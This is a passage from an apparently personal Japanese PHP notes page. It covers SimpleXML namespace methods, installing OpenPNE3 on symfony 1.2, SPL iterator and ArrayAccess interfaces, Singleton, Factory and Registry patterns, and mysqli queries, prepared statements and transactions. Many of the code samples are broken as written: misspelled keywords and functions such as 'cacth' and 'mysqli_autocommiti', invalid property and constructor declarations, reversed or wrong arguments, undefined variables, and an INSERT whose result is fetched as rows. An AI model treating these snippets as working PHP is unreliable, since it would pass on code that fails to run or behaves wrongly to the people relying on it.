要素を追加する。戻り値はSimpleXMLElementオブジェクトであり、これに対して操作することでルートのXMLを操作することもできる
SimpleXMLElement::addAttribute
属性を追加する

■名前空間

<?xml version="1.0"?>
<library xmlns="http://sample.org/library" xmlns:meta="http://sample.org/book-meta" xmlns:pub="http://sample.org/publisher" xmlns:sample="http://sample.org/sample">
    <book meta:isbn="0345342968">
        <title>Fahrenheit 451</title>
        <author>Ray Bradbury</author>
        <pub:publisher>Del Rey</pub:publisher>
    </book>
</library>
<?php
$xml = new SimpleXMLElement('test.xml', null, true);
$ns = $xml->getDocNamespaces();
foreach($ns as $key => $value){
	print("{$key}: {$value}\n");
}
/*
: http://sample.org/library
meta: http://sample.org/book-meta
pub: http://sample.org/publisher
sample: http://sample.org/sample
*/
?>

<?php
$xml = new SimpleXMLElement('test.xml', null, true);
$ns = $xml->getNamespaces(true);
foreach($ns as $key => $value){
	print("{$key}: {$value}\n");
}
/*
: http://sample.org/library
meta: http://sample.org/book-meta
pub: http://sample.org/publisher
*/
?>

以下のように、引数にfalseを指定するとカレントノードの名前空間を返す。名前空間が指定されていない場合は、空の配列となる。

<?php
$xml = new SimpleXMLElement('test.xml', null, true);
$ns = $xml->getNamespaces(false);
foreach($ns as $key => $value){
	print("{$key}: {$value}\n");
}
/*
: http://sample.org/library
*/
?>

各メソッドについて

SimpleXMLElement::getDocNamespaces
ドキュメントで宣言されている名前空間を返す。引数にはbool値が入り(デフォルトはfalse)trueを指定すると、子ノードで宣言されている名前空間も返す。
SimpleXMLElement::getNamespaces
ドキュメントで使用している名前空間を返す。引数にはbool値が入り(デフォルトはfalse)trueを指定すると、子ノードで使用している名前空間も返す。

OpenPNE3をインストールしよう

■symfony1.2.xのインストール

OpenPNE3では、Webアプリケーションフレームワークであるsymfonyを採用しているため、これがインストールされていないと動かない。更に、symfonyのバージョンは1.2系でなければならない。

symfonyをインストールする

■ファイルのダウンロードとアップロード

wgetでも構わないがクライアントに一旦ダウンロードしてみる。

解凍

解凍すると以下のディレクトリとファイルができる。

  • apps
  • cache
  • config
  • data
  • doc
  • lib
  • log
  • plugins
  • test
  • web
  • LICENSE(ファイル)
  • NOTICE(ファイル)
  • README(ファイル)
  • symfony(ファイル)

注意

「web」ディレクトリが公開ディレクトリとなるように設定を各自変更する必要がある。以下の「プログラム側設定ファイル」か「サーバの設定ファイル」のどちらかを変更しなくてはならない。どちらかというと「web」というディレクトリ名で運用しているサーバは少なかった(個人的な経験)。

プログラム側設定ファイルで変更する

以下の変更例は、「web」を「public_html」に変更する場合である。

<?php

# FROZEN_SF_LIB_DIR: /private/tmp/symfony/lib

require_once dirname(__FILE__).'/../lib/symfony/autoload/sfCoreAutoload.class.php';
sfCoreAutoload::register();

class ProjectConfiguration extends sfProjectConfiguration
{
  public function setup()
  {
    $this->enableAllPluginsExcept(array('sfCompat10Plugin'));
    $this->setIncludePath();
  }

  public function setIncludePath()
  {
    sfToolkit::addIncludePath(array(
      //PEAR
      dirname(__FILE__).'/../lib/vendor/PEAR/',
    ));
  }
}

上述を以下のように変更する。

<?php

# FROZEN_SF_LIB_DIR: /private/tmp/symfony/lib

require_once dirname(__FILE__).'/../lib/symfony/autoload/sfCoreAutoload.class.php';
sfCoreAutoload::register();

class ProjectConfiguration extends sfProjectConfiguration
{
  public function setup()
  {
    $this->enableAllPluginsExcept(array('sfCompat10Plugin'));
    $this->setIncludePath();
    $this->setWebDir($this->getRootDir() . '/public_html');
  }

  public function setIncludePath()
  {
    sfToolkit::addIncludePath(array(
      //PEAR
      dirname(__FILE__).'/../lib/vendor/PEAR/',
    ));
  }
}

追記部分は以下のコードである。

$this->setWebDir($this->getRootDir() . '/public_html');
サーバの設定ファイルを変更する

httpd.confファイルなどに以下のような記述が存在するはずだ。

DocumentRoot /var/www/sample.com/public_html

以下のように変更して、サーバを再起動する。

DocumentRoot /var/www/sample.com/web

アップロード

「web」ディレクトリが公開ディレクトリとなるようにする。つまり、「web」フォルダの中の「index.php」が(公開ディレクトリの)トップページとなるような配置にしなければならない。

■インストール

ファイルをアップロードしたディレクトリにある「symfony」と同じ階層までコマンドラインで移動する。そして以下のコマンドを実行する。

./symfony openpne:install

以下の項目について質問される。

  • DBのタイプ(mysql, pgsql, sqlite)
  • DB名
  • DBのユーザ名
  • DBのパスワード
  • DBのホスト名(localhostなど)
  • 使用するソケットへのパス(未入力可)

足りないパッケージなどなければ通常はこれで上手くいく。

■初期設定

管理側

http://sample.com/pc_backend.phpにアクセスして初期パスワード「password」を必ず変更する。

ユーザ側

http://example.com/index.phpにアクセスして初期ユーザーのパスワード「password」を必ず変更する。

The Standard PHP Library(SPL)

■ArrayAccess

以下のインターフェイスを実装することにより、配列のようにオブジェクトへアクセスができる。但し、ビルトインインターフェイスであり、以下のコードは記述する必要はない。

<?php
interface ArrayAccess {
    function offsetSet($offset, $value);
    function offsetGet($offset);
    function offsetUnset($offset);
    function offsetExists($offset);
}
?>
offfsetSet
配列に値をセットする
offsetGet
配列から値を得る
offsetUnset
配列から値を削除する
offsetExists
配列に要素が存在するか判定する

実例

<?php
class MyArray implements ArrayAccess {
    protected $array();
    public function offsetSet($offset, $value){
        if(!is_int($offset)){
            throw new Exception();
        }
        $this->array[$offset] = $value;
    }
    public function offsetGet($offset){
        return $this->array[$offset];
    }
    public function offsetUnset($offset){
        unset($this->array[$offset]);
    }
    public function offsetExists($offset){
        return array_key_exists($this->array, $offset);
    }
}

$obj = new MyArray();
$obj[1] = 2;
$obj['a'] = 1;//throws exception
?>

■Iterator

<?php
interface Iterator {
    function current();
    function next();
    function rewind();
    function key();
    function valid();
}
?>

実例

<?php
class MyData implements Iterator {
    private $myData = array(
        "Mike",
        "Jack",
        "Emily",
        "Naomi"
    );
    private $current = 0;
    public function current(){
        return $this->myData[$this->current];
    }
    public function next(){
        $this->current++;
    }
    public function rewind(){
        $this->current = 0;
    }
    public function key(){
        return $this->current;
    }
    public function valid(){
        return isset($this->myData[$this->current]);
    }
}

$data = new MyData();
foreach($data as $key => $value){
    print("{$key} : {$value}");
}
?>

■SeekableIterator

<?php
interface SeekableIterator {
    function current();
    function next();
    function rewind();
    function key();
    function valid();
    function seek($index);
}
?>

■Recursive Iteration

<?php
RecursiveIteratorIterator   implements OuterIterator, Traversable, Iterator {
    public function current(void);
    public function getDepth(void);
    public function getSubIterator(void);
    public function key(void);
    public function next(void);
    public function rewind(void);
    public function valid(void);
}
?>

実例

<?php
class Company_Iterator extends RecursiveIteratorIterator {
    public function beginChildren(){
        if($this->getDepth() >= 3){
            print(str_repeat("t", $this->getDepth() - 1));
            print('<ul>');
        }
    }
    public function endChildren(){
        if($this->getDepth() >= 3){
            print(str_repeat("t", $this->getDepth() - 1));
            print('</ul>');
        }
    }
}
class RecursiveArrayObject extends ArrayObject {
    function getIterator(){
        return new RecursiveArrayIterator($this);
    }
}
$company = array(
    array("Acme Anvil Co."),
    array(
        array(
            "Human Resources",
            array(
                'Nick',
                'Jack',
                'Mike'
            )
        ),
        array(
            "Accounting",
            array(
                'John',
                'Emily',
                'Naomi'
            )
        )
    )
);

$it = new Company_Iterator(new RecursiveArrayObject($company));
foreach($it as $item){
    print(str_replace("t", $it->getDepth()));
    switch($it->getDepth()){
        case 1:
            print("<h1>Company: {$item}</h1>" . PHP_EOL);
            break;
        case 2:
            print("<h2>Department: {$item}</h2>" . PHP_EOL);
            break;
        default:
            print("<li>{$item}</li>" . PHP_EOL);
    }
}
/*
	<h1>Company: Acme Anvil Co.</h1>
		<h2>Department: Human Resources</h2>
		<ul>
			<li>Nick</li>
			<li>Jack</li>
			<li>Mike</li>

		</ul>
		<h2>Department: Accounting</h2>
		<ul>
			<li>John</li>
			<li>Emily</li>
			<li>Naomi</li>
		</ul>
*/
?>

■Recursive Iteration

<?php
class NumberFilter extends FilterIterator {
    const FILTER_EVEN = 1;
    const FILTER_ODD = 2;
    private $_type;
    public function __construct($iterator, $odd_or_even = self::FILTER_EVEN){
        $this->_type = $odd_or_even;
        parent::__construct($iterator);
    }
    public function accept(){
        if($this->_type === self::FILTER_EVEN){
            return ($this->current() % 2 == 0);
        }
        else{
            return ($this->current() % 2 == 1);
        }
    }
}

$numbers = new ArrayObject(range(0, 10));
$number_it = new ArrayIterator($numbers);

$it = new NumberFilter($numbers_it, NumberFilter::FILTER_ODD)

foreach($it as $number){
    print("{$number}" . PHP_EOL);
}
?>

PHP Design Pattern(PHPによるデザインパターン)

■シングルトンパターン(Singleton Pattern)

シングルトンパターンとは、ある特定のクラスのインスタンスが特定の数しか生成されない事を保証するパターンである。

<?php
class Db {
    protected static $dbh;
    protected static $instance;
    protected __construct(){
        self::$dbh = new PDO($dsn, DB_USER, DB_PASS);
    }
    public static function getDbh(){
        if(!$dbh){
            self::$instance = new self();
        }
        return self::$dbh;
    }
}
$dbh = Db::getDbh();
?>

但し、上述の例はいささか不完全でもある。何故ならば$dbhがDbクラスのインスタンスでない限り、クローン化はどうしても防げないからだ。

<?php
final class ForbiddenClonePDO extends PDO {
    final public function __clone(){
        throw new RuntimeException();
    }
}
class Db {
    protected static $dbh;
    protected static $instance;
    protected __construct(){
        try{
            $dsn = 'mysql:host=localhost;dbname=dbname';
            self::$dbh = new ForbiddenClonePDO($dsn, DB_USER, DB_PASS);
            self::$dbh->setAttribute(PDO::ATTR_EMULATE_PREPARES, true);
            self::$dbh->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
        }
        cacth(PDOException $e){
            //code
        }
    }
    public static function getDbh(){
        if(!$dbh){
            self::$instance = new self();
        }
        return self::$dbh;
    }
}
$dbh = Db::getDbh();
?>

■ファクトリーパターン(Factory Pattern)

似たようなタスクを違った手法で行う

<?php
class Configuration {
    const STORE_INI = 1;
    const STORE_DB = 2;
    const STORE_XML = 3;
    public static function getStore($type = self::STORE_XML){
        switch($type){
            case self::STORE_INI:
                return new Configuration_Ini();
            case self::STORE_DB:
                return new Configuration_Db();
            case self::STORE_XML:
                return new Configuration_Xml();
            default:
                throw new Exception();
        }
    }
}
class Configuration_Ini {
    //code
}
class Configuration_Db {
    //code
}
class Configuration_Xml {
    //code
}
$config = Configuration::getStore(Configuration::STORE_XML);
?>

■レジストリパターン(Registry Pattern)

<?php
class Registry {
    private static $_register;
    public static function add(&$item, $name = null){
        if(is_object($item) && is_null($name)){
            $name = getClass($item);
        }
        elseif(is_null($name)){
            throw new Exception();
        }
        $name = strtolower($name);
        self::$_register[$name] = $item;
    }
    public static function &get($name){
        $name = strtolower($name);
        if(array_key_exists($name, self::$_register)){
            return self::$_register[$name];
        }
        else{
            throw new Exception();
        }
    }
    public static function exists($name){
        $name = strtolower($name);
        if(array_key_exists($name, self::$register)){
            return true;
        }
        else{
            return false;
        }
    }
}

$db = new DB();
Registry::add($db);

if(Registry::exists('DB')){
    $db = Registry::get('DB');
}
else{
    die();
}
?>

PHP MySQL Improved Extension(mysqli)

mysqli拡張サポートによって、MySQL4.1以降で使える機能を利用できる。但し、個人的には全くこの手の関数を使わない。何故ならばMySQLに特化した関数であり、仮に他のDBに移行する場合、保守のコストがとっても高くなってしまうと考えているからだ。それにラーニングコストもかかるし、PDOのメソッド名とmysqliの関数名がごっちゃになる。

■mysqliを使ったDBへの接続

<?php
$dbh = new mysqli(DB_HOST, DB_USER, DB_PASS, DB_NAME);
if(mysqli_connect_errorno()){
    //code for error
}
mysqli->close();
?>

mysqliは例外をthrowしない。

<?php
$dbh = mysqli_connect(DB_HOST, DB_USER, DB_PASS, DB_NAME);
if(!$dbh){
    //code for error
}
mysqli_close($dbh);
?>

■mysqliを使ったDBへのクエリ発行

<?php
$name = mysqli->real_escape_string($_POST['name']);
$sql = "SELECT `id`, `name` FROM `person` WHERE `name` = '$name'";
if(!$dbh->real_query($sql)){
    //print($dbh->error);
}
if($result = mysql->store_result()){
    while($row = $result->fetch_assoc()){
        print($row['id'] . ': ' . $row['name']);
    }
    $result->close();
}
?>

$resultもcloseしなきゃならんとは。。。めんどい。。。

<?php
$name = mysqli_real_escape_string($_POST['name']);
$sql = "SELECT `id`, `name` FROM `person` WHERE `name` = '$name'";
if(mysqli_real_query($dbh, $sql)){
    //print(mysqli_error());
}
if($result = mysql_store_result($dbh)){
    while($row = $result_fetch_assoc($result)){
        print($row['id'] . ': ' . $row['name']);
    }
    mysqli_free_result($result);
}
?>

うーむ。実に不愉快だ。やはりmysqliは性に合わん!

■mysqliを使ったプリペアドステートメント

<?php
$sql = "INSERT INTO `person`(`id`, `name`, `country_id`) VALUES(?, ?, ?)";
if($stmt = $dbh->prepare($sql)){
    $stmt->bindParam('s', $id, $_POST['name'], $_POST['country_id']);
    $stmt->execute();
    $stmt->bind_result($result_id, $result_name);
    while($stmt->fetch()){
        print($result_id . ': ' . $result_name);
    }
    $stmt->close();
}
?>

これじゃ、ソースを書きたくならないな。

<?php
$sql = "INSERT INTO `person`(`id`, `name`, `country_id`) VALUES(?, ?, ?)";
if($stmt = mysqli_prepare($dbh, $sql)){
    mysqli_stmt_bind_param($stmt, 's', $id, $_POST['name'], $_POST['country_id']);
    mysqli_stmt_execute()$stmt;
    mysqli_stmt_bind_result($dbh, $result_id, $result_name);
    while(mysqli_stmt_fetch()){
        print($result_id . ': ' . $result_name);
    }
    mysqli_stmt_close($stmt);
}
?>

■mysqliを使ったトランザクション

<?php
$dbh->autocommit(false);
$dbh->query("INSERT INTO `person`(`id`, `name`, `country_id`) VALUES('4', 'Jack', '2')");
$dbh->query("INSERT INTO `person`(`id`, `name`, `country_id`) VALUES('5', 'Emily', '1')");
if(!$dbh->commit()){
    $dbh->rollback();
}
?>
<?php
mysqli_autocommiti($dbh, false);
mysqli_query($dbh, "INSERT INTO `person`(`id`, `name`, `country_id`) VALUES('4', 'Jack', '2')");
mysqli_query($dbh, "INSERT INTO `person`(`id`, `name`, `country_id`) VALUES('5', 'Emily', '1')");
if(!mysqli_commit($dbh)){
    mysqli_rollback($dbh);
}
?>

mysqliの特徴

「手続き型」と「オブジェクト指向型」の記述が可能である。

サーバによってはインストールされていない事もしばしばあるようだ。ますます使わんぞ、コリャ=3・・・

命名

余計なお世話型関数。